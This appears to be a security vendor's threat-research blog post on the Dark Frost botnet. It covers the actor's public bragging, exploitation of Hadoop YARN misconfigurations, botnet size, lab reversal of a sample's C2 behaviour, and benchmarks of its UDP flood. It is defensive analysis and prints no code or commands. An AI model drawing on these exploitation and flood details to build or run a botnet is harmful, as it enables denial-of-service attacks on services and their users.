The Dark Frost Enigma: An Unexpectedly Prevalent Botnet Author Profile

The fascinating story of the Dark Frost Botnet introduces us to a perplexing threat actor whose success rate and originality level do not align. The cobbled-together botnet was created using stolen code from several popular malware families (Mirai, Gafgyt, and Qbot), giving this attacker the ability to carry out fairly successful attacks against the gaming industry. 

Throughout all this, the actor was seen bragging about their exploits on social media, leveraging the botnet to engage in trivial online feuds, and even leaving digital signatures on their binaries (Figure 1). 

This threat profile is more widespread than you might think. With enough determination and some rudimentary coding knowledge, almost anyone can become a real threat. This is especially true when discussing younger individuals who may or may not understand the potential consequences of these actions. The confidence in their ability to live above the law tends to outshine established legal parameters, making them more dangerous than expected.

Our first Dark Frost binary sample was gathered on February 28, 2023, in some of Akamai SIRT’s (Security Intelligence Response Team) HTTP honeypots. The attacker was targeting misconfigurations in Hadoop YARN servers (no CVE assigned) that allow for remote code execution (RCE). Although the sample was intended to be named "Darkness Botnet," this title had already been assigned to a DDoS-for-hire campaign in 2010. Consequently, taking the original name and other binary references into account, we have opted to call it the “Dark Frost Botnet.”

Exploitation of this YARN misconfiguration has been growing in popularity as of late, as it has not been assigned a CVE, and it allows a threat actor to trick the server into downloading and running their malicious binary. However, it should be noted that this vulnerability has been in existence since 2014, making it far from a novel technique. Considering its level of success, though, it will likely continue to be a factor in future botnets, despite its age. 

The attacker began by sending a probe to see if the application was vulnerable to this kind of attack (Figure 2).

Upon receiving a response from a known-vulnerable instance that we provided, the attacker deemed the target suitable and proceeded to deliver the malicious payload (Figure 3).

We also see one other HTTP request being sent, but we currently do not know what it could be used for (Figure 4).

When originally looking at the file, the binary was named “roof,” and although the hash came up with no reputation through various third-party tools, our internal automation believed it to be similar to Gafgyt (Figure 5). This could be due to the fact that the attacker IPs were seen distributing a Gafgyt-specific variant in the months leading up to the distribution of Dark Frost binaries, but more likely it matched on various strings common in a lot of malware these days. 

After pivoting on the IP address to look for additional binaries, we found more named “roof,” each attributed to the same author from October 2022. This gave us a new IP to work with, which in turn gave us evidence of additional attempts to distribute payloads (Figure 6; censored for racial sensitivity).

This particular threat actor has taken credit for quite a few endeavors, with varying levels of evidence. Sometimes they simply posted on social media, claiming to be the cause of various issues, which wouldn’t really hold a lot of weight. However, they occasionally follow up these claims with screenshots documenting the results of their attacks. 

An example of this is their Tweet about an attack on Plutonium servers (Figure 7), an open-source game hosting platform with dedicated servers and mod support.

Tweets such as these are just the beginning. The actor even goes as far as posting full videos of the attacks, such as this attack on an AmongUs server (Figure 8).

As you can see in the screenshots, this attacker has been active for a while; we can trace them back as far as May 2022, when they attacked Rogue Company servers (Figure 9).

We even found the actor taunting some of their victims and disclosing information about their buyers (Figure 12).

Some of the hardest questions to answer when analyzing malware is who is responsible for it, who are the targets, and just how big is the botnet. This cybercriminal answered the first two questions for us, so we began to see if they would answer the third question as well — and sure enough, they did.

According to Figure 13, a screenshot taken by the malware author in February 2023, there are 414 devices in the botnet, with the majority being ARMv4 architectures, and the next two most common being MIPSEL and x86. The presence of ARMv4 is particularly interesting, as this architecture is fairly outdated. This method of compiling specifically for ARMv4 and ARMv7 is common because ARMv4 is compatible with ARMv5 and ARMv6. Compiling for both ARMv4 and ARMv7 ensures that the malware can also target more modern devices running on ARMv7 architecture. 

This dual-targeting approach helps the malware cast a wider net, increasing its chances of successfully infecting devices.

Getting our hands on the binary would have been difficult if it weren't for our automated binary collection system (Figure 14), because at the time of investigation, the distribution IP was down. 

Upon retrieving the sample, we learned we were dealing with an x86-64 version (Figure 15), which was stripped, adding some minor inconvenience when reversing.

There were, however, plenty of other indicators such as error handling and usage messages to orient ourselves within the code (Figure 16).

There were eight total attacks, with some being very common, such as UDP and TCP, but others a bit more curious, such as zgoflood (Figure 17).

Through our efforts to reverse the sample, we were able to rename some of the stripped functions to what we deduced they were used for (Figure 18).

We then patched the binary (Figure 19) so that our IP would be the command and control (C2) server. You can see that the name of the string variable is now different from its actual value. It is interesting to note that the C2 was also the malware distribution IP prior to this change.

By using another terminal to listen on the C2 port they have specified (TCP/420), we were able to pass their C2 connection checks, but the program appeared to exit with an error (Figure 21).

The malware attempts to report back the OS type and the architecture of the malware sample that infected the device (Figure 22). In this case, we are using Arch Linux to detonate and dissect an x86 sample.

After successfully passing the connection and registration steps, the program continued to exit despite our best efforts. Some helpful error messages indicated the cause to be a lack of a watchdog driver installed on our malware lab. We attempted many times to bypass or satisfy this check until we realized that although the process had seemingly stopped execution on the command line, it had launched a child process in the background that was awaiting commands. 

To test this, we sent the heartbeat for a typical BASHLITE variant using internet relay chats for C2 communications (Figure 23).

The attacks socketflood and junkflood appeared very similar as well, both sending a small amount of hex-encoded content over TCP (Figure 25). Another thing to note is that socketflood actually gets printed out as HOLD flood. 

Upon testing the C2 command they had listed as @c2, we were met with a usage error. We decided they probably meant !c2, so we tried it (Figure 26), and a single packet was sent.

The attacks onepacket, std, randflood, and zgoflood were also successfully launched, but didn’t actually send any data (Figure 27). This may mean that these features are still under development, or simply just broken.

We began to benchmark their attacks and found that the UDP flood was the most reliable and had the largest output. We used various packet sizes, starting with 1024 in order to see how the size affected the total amount of data sent.

As can be seen in Figure 28, we ran this on a specific port for 10 seconds, then proceeded to collect this data in tcpdump to analyze the results (Figure 29).

The results at packet size 1,024 for 10 seconds was 1.4 million packets captured, resulting in 1.5GB of data total. This comes out to 1.2 Gbps. Doing this same experiment, we saw the following results for various sizes of packets (Table 1).

When running the test like this, what we would most likely see an attacker using to be used with this packet is somewhere near 1,024. When doubled, the packet output drops, due to packet fragmentation, meaning that we only observe the packets coming through the specified port and not their fragments. To continue the benchmark correctly, we had to start launching these attacks at the loopback to avoid fragmentation and listen on the loopback interface to re-measure (Table 2). 

Although the Dark Frost botnet has strong enough attacks to take down many online services, those protected by Akamai are quite safe. The SIRT will continue to monitor threats such as these and alert the community about what we observe. For more real-time research from Akamai, follow us on Twitter.